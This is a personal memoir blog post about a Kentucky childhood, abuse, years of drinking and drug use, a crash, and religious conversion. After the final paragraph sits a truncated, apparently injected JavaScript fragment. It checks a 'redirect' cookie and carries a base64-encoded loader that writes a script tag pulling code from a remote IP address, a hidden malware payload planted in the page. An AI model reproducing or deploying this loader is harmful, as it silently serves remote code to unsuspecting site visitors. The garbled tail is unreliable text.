Not What You See

by Chuck D.

Trying to think chronologically my mind wonders so, from memory to memory, feelings to feelings. I’ve no concept of time anymore. Time is what it is, it comes and goes. I just seem to happen in it. This story of mine, is it worth reading? I can’t tell you, I know I have recently felt compelled to write this down and it has consumed a lot of my waking thoughts.

Writing helps me deal with life, it always has. As a youth I wrote though no one would ever get the chance to read. Its a part of me that I’ve tried to put in a box and hide from everyone, but the words, feelings, thoughts keep coming. I find I must write to keep my sanity.

I present to you in these words a history of my life thus far in this world. Its nothing that will change the world I’m sure. But it is real. To me its a story of triumph and only through the mercy of Christ Jesus and the love of a good woman can I share these memories.

Try to think of the earliest childhood memory you have.

I have tried this so many times before. As I stated earlier I have no concept of time anymore, but the first memory I can truly say I do remember is of one Saturday morning. I couldn’t have been much more than four or five years old maybe. I’m not sure where my father or sister were at the time, but I remember finding myself alone in the living room of the trailer we called home. I guess being born in 1963 and us having a television I watched about everything that flickered across that screen. Especially on Saturday mornings when those beloved cartoons came on. Being alone I’m sure I felt compelled to watch these cartoons. Somehow I managed to climb upon something, anything to reach that television that sat high upon a shelf, away from my little fingers. All I remember after knocking the television from the shelf is that mom suddenly appeared, from where I’m still not sure. I can remember the screaming, the whipping I received there on the spot. I also remember having to wait until my father came home so he could see what I had done. The next memory I have is of my father holding me upside down by my ankles as he dealt out the punishment for breaking the tv.

I don’t want to paint my father as an abusive, unloving person, he was not. My fondest memories of my early childhood was of him bringing home at least one or two comic books each week, which I cherished, read thoroughly and still have some of them to this day.
I also remember going snake hunting with him, sometimes my sister or my Papaw Stamper would come along. I remember climbing in the truck and taking off up the old river road that ran along the Liking River way before Cave Run Lake was ever a consideration. Snake hunting is perhaps a misnomer, basically it was more or less an excuse to get out of the house, drive slowly up a two lane road, drink beer, tell stories and laugh.

From time to time there would actually be a snake in the road. This is when the truck would come to a halt and dad would get out and unload whatever caliber pistol he had at the time at the snake. Depending on the level of sobriety I’m sure more often than not he hit what he was aiming at. I remember another whipping I received involved going snake hunting. It seems that dad and my sister struck out one evening, I’m sure I was asked but didn’t want to go. That is until the truck got to the end of our lane. I guess I threw a fit on my mom the whole time they were gone.

I don’t have many memories of my mom early on. I do remember a lot of yelling, sometimes it wasn’t at me. Sometimes dad would seem to be the source, other times my aunt and uncle or my cousins would seem to bring it on. Seeing how we lived at best a couple hundred feet from my aunt and uncle’s house they could’ve been a convenient source of anger.

Of course all the stuff me and my cousins would get into could’ve contributed to a lot of the yelling. I guess it was the typical type stuff kids would get into like setting papaws truck on fire by touching two wires together in hopes the truck would start. Or maybe the time the Federal Bureau of Investigation visited our home to find out what me and Johnny had done with a neighbor womens’ mail which contained government checks. You see, Johnny and I stuffed the mail under our porch because we thought she was just a mean old woman who just didn’t like us. Imagine that!

We ended up crawling under the porch and pitching all that mail back out. I really don’t remember any punishment being doled out, but I’m sure we got what we deserved.

My childhood memories are mainly of my cousin John and I. Sometimes cousin Jimmy would come down or I would spend the night at his house. Riding bikes, fishing, hunting and generally getting into a lot of things we shouldn’t have was the norm.

Pretending to be Evil Knievel by jumping our bicycles across the ditch in front of our house was an everyday occurrence. Stacking bricks,rocks or anything else we could find to lay a board on served as our take off ramp. We really never put much thought on the landing though. The landings were usually very tough, sometimes violent and always led to days upon days of bicycle repair. Our endeavors led us to have plenty of spare parts for repairs.

We would have hide outs, clubhouses etc. Our most treasured clubhouse was under the embankment of the old iron bridge just down the road from our house. Once down there we were secluded from sight but could see and hear most everything that went on. There were places where we could stash our valuables and they would be safe, that is until it flooded. After a flood it would take a lot of work to make the place livable again.

In order to be a part of our club a person had to pass an initiation ritual. The ritual entailed walking across the bridge, no not the normal way, you had to walk across the beams that stretched from one end to the other overhead. No handrails just an eight in wide beam that ran the full length of the bridge. Thank God no one ever fell. Of course this could also explain why there was only me and Johnny in the club.

Speaking about floods, Johnny and I were fascinated by them. I remember once we decided we were going to build us a raft and float down river with the next flood. Using two old water heaters we found at the dump next to the iron bridge and using rope, string and what lumber we could find, we built us a raft. We tested it out in the lilly-pad pond just down from the river. It floated real well and we used it most of that summer to go frog gigging off of instead of having to wade.

Unfortunately for us, no I take that back, fortunately the next flood came in the middle of the night. We awoke to find that our raft had already been swept down stream without us. We later heard that a couple of kids from town had drowned in this flood. I’m not sure of the details but remember everyone talking about the Story boys that had drowned.

Another past time Johnny and I had was climbing to the top of sawmill hill, from there we could jump off piles of sawdust and fly, probably twenty to thirty feet down into smaller piles of sawdust. We would land and sink up to our necks in that sawdust. Occasionally, we had to try and dodge sticks, pieces of wood etc., but I really don’t remember either of us getting hurt all that bad.
I have so many memories of growing up with Johnny. Playing sports, getting into fights, playing war with the Dehart boys; being knocked unconscious by one of their counter attacks and waking up, I guess left for dead on the battlefield, with no one around anywhere.

My memories of my childhood though are fleeting and somewhat tempered by events in my childhood that I feel changed the course of my life. Somewhere around the time I was in the third or forth grades I was sexually abused by a relative. I can’t tell you why I didn’t tell someone, perhaps to keep the peace in the family, perhaps they would think it was my fault or perhaps I was afraid of what would happen if I did tell. The abuse lasted for about a year off and on, until I just refused to go around, be around or have anything to do with my abuser. He also may have found someone else or other things to occupy his time as well. Just because the abuse ended, the pain, the guilt and especially the humiliation I felt didn’t; in fact it seemed to grow in intensity as time went by. I knew that somehow I had to go on, to swallow this part of my life down and keep it down while my life continued.

Like many people who find themselves in a similar situation I adapted. Many people in a situation like this choose wisely in how they deal with their feelings. I didn’t choose wisely, I choose instead to try and drink away those thoughts, feelings that were always present. Growing up in a household that drank a lot I guess I saw it as something that would ease those memories, it also made its consumption quite convenient as it was always on hand.

I had watched my father drink everyday of his life at this point and knew that after all he had been through in World War II that it was probably his way of dealing with his memories. I remember sitting around the kitchen table as he would tell his war stories, he had seen the worst that humanity can dish out. I usually had a choice of alcohol from liquor, beer and sometimes moonshine. I utilized them all.

I spoke of adapting earlier I also adopted. I adopted a dual lifestyle of sorts. I went to school, made good grades, played sports, these things came easy to me. But by the time I was in the fifth grade I was drinking regularly, often everyday. To my knowledge no one ever suspected, speaking with a few of my teachers from back then, they told me they had no idea.

Anyway this type of lifestyle allowed me to put aside the pain anytime I wanted or needed to, so I began to rely on it as a way of not feeling anything at all. I remember and very much regret the passing on of my Papaw Stamper. I loved this man so, I’m sure I get some of my love for music from him. But being accustomed to denying my feelings, I choose not to feel for him. I never grieved, never shed a tear. Instead, I drank away any feelings and emotions. I only hope he knew how much I did love him.

By the time I reached the seventh and eighth grades somewhere around 1975 or 76′, I had discovered many other substances a person could take, smoke drink or eat that afforded me an even greater means of escape, so I indulged in these as often as I could.
As high school rolled around I was firmly entrenched in my lifestyle. I continued to live that dual life I had made for myself. I played football at the urging of Brother Mike, he seemed to show an interest in me. I guess I was fairly good at it and continued playing throughout high school, with the exception of my junior year. I’ll speak more about that year a little later on.

Like many people in high school, I had a few relationships, but I never really put myself into any of them. These relationships would hinder my lifestyle. After school or practice I would revert back to using or taking something to forget about everything. I guess by now it was truly a habit. I would talk on the phone to girls but never was a social animal. That all seemed to change when I met this pretty little blond haired girl named Theresa. She seemed different than the rest, somewhat a kindred spirit. My heart melted when she spoke with me. She never knew until now, if she reads this, that probably the reason I took someone else to her prom was because I was trying to deny the feelings I had for her, hoping not to let her get too close to me. I regret that very much.

Those high school years were full of experimentation, not only with relationships but with drugs as well, the drugs seemed to consume more and more of my time. I guess I have tried everything and anything you could imagine. The only thing I have never done was to use injectables, I just can’t see sticking a needle in your vein. High school introduced me to pills, I had a particular fondness for downers such as Valium, Diluadid, Placidil and Quaaludes. On those occasions when I felt I needed to be alert, aware or energetic I used Black beauties, White crosses and Cocaine. Hallucinogens, also had a place for me, from LSD, Blotter acid, Chocolate mescaline as well as Psilocybin mushrooms. Pretty much if I could get my hands on it I used it. Marijuana, which I discovered in grade school was my preferred escape mechanism.

So you see, for me it was a juggling act. How to go about putting on this straight laced, athletic persona, yet indulge in all that I could experimentally.

I guess I was pretty good at that juggling act, that is until my junior year in high school. The incident that further changed the course for that year began with a night of drinking with my friends. I also remember that many blue Valium were taken that night, I’m not sure how many. My next memory is of waking up in my bed, barely able to move. I have no idea how I got home or what day it was. How in the world did I end up in my bed in my upstairs bedroom? Upon waking and finally making my way downstairs I was met at the foot of the stairs by my parents. Let’s just say it hit the fan at that moment, real hard! It seems that I had been asleep in my bed for two solid days. I guess mom and dad would sit with me from time to time, sort like their own little vigil service. I know that I scared them to death.

Being young and full of myself I took a very cocky attitude with my parents. I was given an ultimatum that day. I was either gonna straighten up or I was no longer welcomed in the house. I choose the latter. So I gathered up what stuff I thought I needed and struck out on my own.

Now not only did I have to juggle going to school, extracurricular activities etc. I had to find a place to stay. Fortunately at this time I had a part time job loading newspapers into the trucks three nights a week. This allowed me to eat and to keep up appearances. I asked a few of my friends if I could stay with them for a while and would spend three or four nights in a row at several of my friends homes. I would stay until I could tell their parents were getting uncomfortable with my being there, then I would go to another friends house. I had a rotation of four friends that housed me for a while.

After a few rotations I knew that I couldn’t keep this up much longer, so I contacted one of my party buddies who knew some of the college kids we partied with. I arranged to stay in one of the dorms on campus with them. I would walk to school in the mornings, after school I would hang out with friends or go on to work. After that I would go to the dorm, I guess I looked like the typical college kid because no one ever questioned me about being there. It would sometimes get very crowded in the dorm and these guys just didn’t sleep all that much. They would take speed and stay up all night pretending to be studying. Many nights I joined them. This part of my life went on for a few more weeks and it really began to wear on me. After almost two months on my own I swallowed what pride I had and asked my father to come back home.

I came home. I hope you didn’t expect a grand transformation on my part, you see I continued living a dual existence. Yeah, I did pretty much what I was told to do, but could accomplish most requests while high as a kite. I was allowed to drive and even had enough money to buy my first car. It was a 1965 ½ Mustang, fastback. My parents even paid to have a tuck and roll job on the interior of the car. I drove to school now, during breaks me and my buds would sneak out and burn a joint in the car then return to class. I also as part of my new living arrangements had to pick my mother up from work each day. No problem, she got off work at 3:30, I got out of school at 3:00, so everyday I drove her home I was usually tripping on something.

I guess that after a while my parents thought I had grown up and could be trusted again so they allowed me drive after dark and on the weekends. On the eve of the Kentucky Derby in 1980, I was on my way home, I had only a few beers and a joint in me. As I rounded Brady Curve leaving the city there was this mammoth of a car which crossed the center line. I drove into the ditch, scraped the side of my car along a rock wall, but the car just kept coming at me. We hit head on. My left leg was pinned between the door and the seat, my head hit the steering wheel and windshield. Glass went everywhere. When the smoke cleared, I heard a familiar voice asking me if I was alright. Doug Forman helped me out of the car. Doug had been to Bath County’s high school prom, he had two girls in the car with him, they were right behind me as my car dueled with the Lincoln Continental.

After making it out of the car and pretty sure I would live, I looked at all the carnage on the road. All I could think of was that I was going to get kicked out of the house again. I was pissed. I ran over to the car that had hit me, his windows were rolled up, I could tell he was drunk, I tried to break the windows out with my fists. Doug came over and stopped me. He took me bloody and bleeding to the emergency room. I know I bled all over his car and I’m sure this wasn’t how he or the girls expected to spend their prom night.
After being cleaned up, stitched up and after what seemed like an eternity a policeman came in to speak with me. He said the guy that hit me was pretty drunk and would be spending the night in jail. I asked him about my car, he said it was totaled. He asked how to get in touch with my parents and I gave him their phone number. I really didn’t want this part to happen, I knew it was over for me. Mom and Dad came to the hospital. It was nothing like what I had imagined it would be like. I guess the policeman had told them that I had done all I could to avoid the accident, but the guy was just dead-set on hitting me. I was discharged and rode home with my parents in silence. Waking up the next day mom found some pieces of glass in my head, behind my ears and took great care in removing them. No yelling, no anger, only love.

After healing I was allowed to drive again. This now was my senior year of high school. I guess I was considered to be a big man on campus now. I rejoined the football team, became starting quarterback and pretty much cock of the walk. I had really mastered living the dual roles by now, which allowed me to cruise through school and pretty much party my butt off.
Theresa had graduated but we would still occasionally go out on dates. She moved out of her house and shared an apartment with another girl. She found a job working where my mother worked and became acquainted and discussed me often I suppose.
Throughout my senior year I really missed Theresa. After football season I just did my time and was on cruise control. After graduation I tried going to college. You’ve got to be kidding me, I lived this life just a few months before. Left on my own to go to class or to party I could tell this wasn’t going to work out. I looked for and found a job working for the local cable company, I was the cable guy. Having plenty of practice living a dual life I guess I performed my job rather well but now found that my party buddies became the people I worked with.
I was offered a chance to work in Richmond for the cable company, which meant that I would be put up in an hotel on the company’s tab. I worked 10- 14 hours each day and would spend the rest of the time smoking dope, drinking. I was paid well, given a company truck, given a stipend for meals all I had to pay for were the drugs I used. Again I guess I did a decent enough job and was asked to move permanently to Paris, Kentucky, so I moved. I installed cable for customers, trouble shot line problems and rotated being on call. After work each day, especially on the days I wasn’t on call I would stop by the liquor store which was just down the road from the trailer I rented. I would come home every chance I got to spend time with Theresa and to buy an ounce or two of pot. Theresa would sometimes come to Paris to see me, I remember her flipping her car over on her way to Paris once.

I would call her often but her voice just didn’t make up for her physical presence. One night from a phone booth in front of a drug store we decided to get married and she would move to Paris to live. After the wedding Theresa moved in with me and became a part of my dual life. She found a couple different jobs while in Paris, she worked at a gas mart in Lexington, she babysat in our home. We came back to Morehead every chance we could. I knew Theresa wasn’t happy and I knew she wasn’t happy with the life I had given her. Eventually I arranged to be able to move back to Morehead, to work part time for the cable company and would try to go back to school. For me it was a case of you can’t teach an old dog new tricks. School wasn’t for me. Theresa found work at the University and together we bought a trailer and moved in the same park as my parents. The cable job ended and after what seemed like forever I found a job working for the Morehead Utility Plant Board, working at the Wastewater Plant, working midnights. This is also around the time our first child was born, Joshua.

Working midnights gave me a lot of alone time and I spent a lot of that time trying to figure out my life. I usually burned a joint on the way to work which seemed to put me in a wondering mind set. I began to question everything, I really wondered about faith and religion. Theresa was born and raised Catholic, she went to Catholic schools for a while. As long as I had known her she never missed going to Mass on Sunday. I became curious about this faith she and her family possessed.

While working at the Wastewater Plant my dual persona still lived. I found that as I got off work at 7:00 am if I didn’t go to sleep right away I just wouldn’t sleep. So, in order for me to fall asleep quickly I usually found it necessary to smoke a joint which helped. I would sleep for four or five hours, get up have some coffee, pop a couple pills to jump start the day. Then off to work, back home, day in day out. I felt I was in a rut.

Getting back to my curiosity about Theresa’s faith, unknown to anyone at the time I began reading the Bible at night. I would read for hours at a time. On more than a few occasions as I read I had instances of profound experiences. From hearing my name being called out, while there at work alone, to smelling intense fragrances of perfume. Usually you smell things at the sewer plant but not perfume. Looking back now I feel God was somehow seeking me even then.

The rut I felt I was in continued for more than a year. Then one particular morning, for some reason after work, I just didn’t want to or feel like using something to help me fall asleep. Instead, on the way to bed I grabbed the Bible thinking that by reading I would fall asleep. So I read, somewhere between sleep and reading I had the greatest desire to pray. I had never prayed that I know of in my life, but I felt like I had to pray! I still remember the prayer word for word, it was such a simple childlike prayer, all I prayed was,” God I know you are real, please show me a sign”.

Immediately, after praying that prayer, a tingling sensation began at the very top of my head. The sensation slowly made its way down my forehead, my face, my neck, my shoulders, my torso, my legs and finally exited out my toes. It was a cold tingling sensation. I began to cry. Here I was this big macho guy who never cried for any reason, never showed emotion at all, but now I was crying. For the next six to eight hours I lie in bed crying. All the hurt, all the pain, all the humiliation I had ever felt came out of me that day in that bed. When the crying would slow to a sob, I would thank God for what had just happened and I would begin crying again. I cried until there were no more tears left in me.

After composing myself enough to speak, I called Theresa at work and told her what had happened. I told her I needed to speak with someone. I’m sure she called her mom because not too many days after that I found myself sitting at Jesus Our Savior Catholic Church as a reconciliation service was going on. This is where Catholics go to confession.

Then I find myself standing in line with the other parishioners waiting to speak with a priest. At this point I’m really wondering what I’m doing and how I got myself into all this. Now its my turn, I open a door and see Father Jack sitting there. I told Father that I had no idea what I was doing there, I wasn’t Catholic, but needed to speak to someone about what I had experienced. I told Father Jack everything, perhaps a shortened version, that I’ve written down here. As I’m telling my story I would look up from time to time only to see Father listening with tears streaming down his face. These weren’t just misty eyed tears, these were great big waterfall tears. I was crying, Father was crying, we must have been a sight. Finally, I told Father again that I didn’t know what I was doing there, you see I felt I had already been forgiven that day in that bed.

Father Jack was a tall man, after telling him that he stood up. Not knowing what was about to happen I stood up also. Father walked toward me, I’m a little worried at this point, but he reached out as if to hug me. As we hugged Father said to me that I had been forgiven. I will never forget what he said next, all he said was welcome home.

I enrolled in the RCIA, Rite of Christian Initiation, program immediately. I was baptized, confirmed and received Holy Communion during the Easter Vigil that year. Now as I went to bed each day, I prayed myself to sleep. I would still sleep only four or five hours but then would get up and go to the Chapel to pray with a prayer group that met there. I read everything spiritual I could. The urge for me to take drugs left me that day in that bed, all it took was prayer.

Having now taken the time for reflection, I believe that each and every one of us is born with a deep seated desire to know and love our God. I spent thirty some odd years of my life trying to fill up that void in my life, where God typically resides, with anything and everything this world has to offer, to no avail. It wasn’t until I allowed God into my heart, into that rightful dwelling place that my searching for fullness was over.

I’m not saying by any stretch of the imagination that I am now a holier than thou saint. I’m not. I still sometimes revert back to old ways, nothing like before, I still drink from time to time but it doesn’t consume me. I sin, I am a sinner. But the experience I had when God allowed me to feel a small cleansing touch of love has given me the knowledge that as much as I know and as confident as I am of that love. I know that God loves each of us that much. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘